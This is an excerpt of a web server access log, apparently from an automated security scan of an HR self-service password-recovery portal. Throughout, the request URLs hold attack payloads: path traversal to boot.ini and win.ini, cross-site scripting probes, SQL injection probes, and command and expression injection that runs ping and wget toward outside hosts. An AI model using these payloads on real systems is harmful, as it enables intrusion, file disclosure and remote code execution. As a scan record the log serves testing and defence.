/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:51 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:51 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c../boot.ini%2500.html HTTP/1.1" 200 6752 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:51 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c../boot.ini%2500.html HTTP/1.1" 200 6752 100.64.0.1 - - [05/Dec/2025:21:52:53 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:53 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:52:51 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=WF%27SQL%22Probe%3BA--B&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:51 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:52 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:52 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:52:52 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS\"%20STYLE=\"xss:e/**/xpression(try{a=firstTime}catch(e){firstTime=1;alert(235)}); HTTP/1.1" 200 6763 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:52 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS\"%20STYLE=\"xss:e/**/xpression(try{a=firstTime}catch(e){firstTime=1;alert(235)}); HTTP/1.1" 200 6763 100.64.0.1 - - [05/Dec/2025:21:52:52 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fboot.ini HTTP/1.1" 200 6743 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:52 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fboot.ini HTTP/1.1" 200 6743 100.64.0.1 - - [05/Dec/2025:21:52:52 +0800] "GET /ehr/ess/redirect.php?scriptname=%27+%2B+%27%27+%2B+%27findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:52 +0800] "GET /ehr/ess/redirect.php?scriptname=%27+%2B+%27%27+%2B+%27findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:52:53 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error%27%22&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:53 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error%27%22&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=%27+%2B+%27%27+%2B+%27findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:52:53 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:53 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:52:53 +0800] "GET /ehr/ess/redirect.php?scriptname=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27ping+-c+1+v3-ping-236-c61f1144-fd20-4f76-939e-f1d25db58dd2.adns.appsechcl.com%27%29%7D&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:53 +0800] "GET /ehr/ess/redirect.php?scriptname=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27ping+-c+1+v3-ping-236-c61f1144-fd20-4f76-939e-f1d25db58dd2.adns.appsechcl.com%27%29%7D&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:52:53 +0800] "GET /ehr/ess/redirect.php?scriptname=/../../../../../../../../../../../../boot.ini&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:53 +0800] "GET /ehr/ess/redirect.php?scriptname=/../../../../../../../../../../../../boot.ini&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:52:53 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS\"/> HTTP/1.1" 200 6725 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:53 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS\"/> HTTP/1.1" 200 6725 100.64.0.1 - - [05/Dec/2025:21:52:55 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27ping+-c+1+v3-ping-236-c61f1144-fd20-4f76-939e-f1d25db58dd2.adns.appsechcl.com%27%29%7D&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:55 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:52:53 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c../winnt/win.ini%2500.html HTTP/1.1" 200 6757 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:53 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c../winnt/win.ini%2500.html HTTP/1.1" 200 6757 100.64.0.1 - - [05/Dec/2025:21:52:53 +0800] "GET /ehr/ess/redirect.php?scriptname=/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:53 +0800] "GET /ehr/ess/redirect.php?scriptname=/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:52:55 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:55 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:52:55 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=/../../../../../../../../../../../../boot.ini&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:55 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:52:54 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%22+STYLE%3D%22xss%3Ae%2F**%2Fxpression%28try%7Ba%3DfirstTime%7Dcatch%28e%29%7BfirstTime%3D1%3Balert%28238%29%7D%29%3B HTTP/1.1" 200 6763 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:54 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%22+STYLE%3D%22xss%3Ae%2F**%2Fxpression%28try%7Ba%3DfirstTime%7Dcatch%28e%29%7BfirstTime%3D1%3Balert%28238%29%7D%29%3B HTTP/1.1" 200 6763 100.64.0.1 - - [05/Dec/2025:21:52:54 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fwinnt/win.ini HTTP/1.1" 200 6748 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:54 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fwinnt/win.ini HTTP/1.1" 200 6748 100.64.0.1 - - [05/Dec/2025:21:52:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:52:54 +0800] "GET /ehr/ess/redirect.php?scriptname=%27+%7C%7C+%27%27+%7C%7C+%27findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:54 +0800] "GET /ehr/ess/redirect.php?scriptname=%27+%7C%7C+%27%27+%7C%7C+%27findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:52:56 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=%27+%7C%7C+%27%27+%7C%7C+%27findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:56 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:52:54 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error%27%22&msgtxt=&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:54 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:55 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS\"/>%253cscript%2b%253ealert%2528239%2529%253b%253c%252fscript%2b%253e HTTP/1.1" 200 6732 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:55 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS\"/>%253cscript%2b%253ealert%2528239%2529%253b%253c%252fscript%2b%253e HTTP/1.1" 200 6732 100.64.0.1 - - [05/Dec/2025:21:52:55 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:55 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:52:56 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:56 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:52:55 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:55 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:52:55 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:55 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:52:55 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c../windows/win.ini%2500.html HTTP/1.1" 200 6759 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:55 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c../windows/win.ini%2500.html HTTP/1.1" 200 6759 100.64.0.1 - - [05/Dec/2025:21:52:55 +0800] "GET /ehr/ess/redirect.php?scriptname=/../../../../../../../../../../../../boot.ini%00.html&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:55 +0800] "GET /ehr/ess/redirect.php?scriptname=/../../../../../../../../../../../../boot.ini%00.html&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:52:57 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=/../../../../../../../../../../../../boot.ini%00.html&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:57 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:52:56 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fwindows/win.ini HTTP/1.1" 200 6750 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:56 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fwindows/win.ini HTTP/1.1" 200 6750 100.64.0.1 - - [05/Dec/2025:21:52:56 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:56 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:56 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:56 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:52:56 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:56 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:56 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%22%2F%3E%3Cscript%3Ealert%28240%29%3C%2Fscript%3E HTTP/1.1" 200 6725 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:56 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%22%2F%3E%3Cscript%3Ealert%28240%29%3C%2Fscript%3E HTTP/1.1" 200 6725 100.64.0.1 - - [05/Dec/2025:21:52:56 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:56 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:57 +0800] "GET /ehr/ess/redirect.php?scriptname=/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/boot.ini&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:57 +0800] "GET /ehr/ess/redirect.php?scriptname=/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/boot.ini&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:52:58 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/boot.ini&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:58 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:52:57 +0800] "GET /ehr/ess/redirect.php?scriptname=/../../../../../../../../../../../../winnt/win.ini&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:57 +0800] "GET /ehr/ess/redirect.php?scriptname=/../../../../../../../../../../../../winnt/win.ini&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:52:58 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=/../../../../../../../../../../../../winnt/win.ini&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:58 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:52:57 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:57 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:52:57 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/boot.ini%00.html HTTP/1.1" 200 6843 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:57 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/boot.ini%00.html HTTP/1.1" 200 6843 100.64.0.1 - - [05/Dec/2025:21:52:57 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:57 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:52:58 +0800] "GET /ehr/ess/redirect.php?scriptname=wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D241&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - 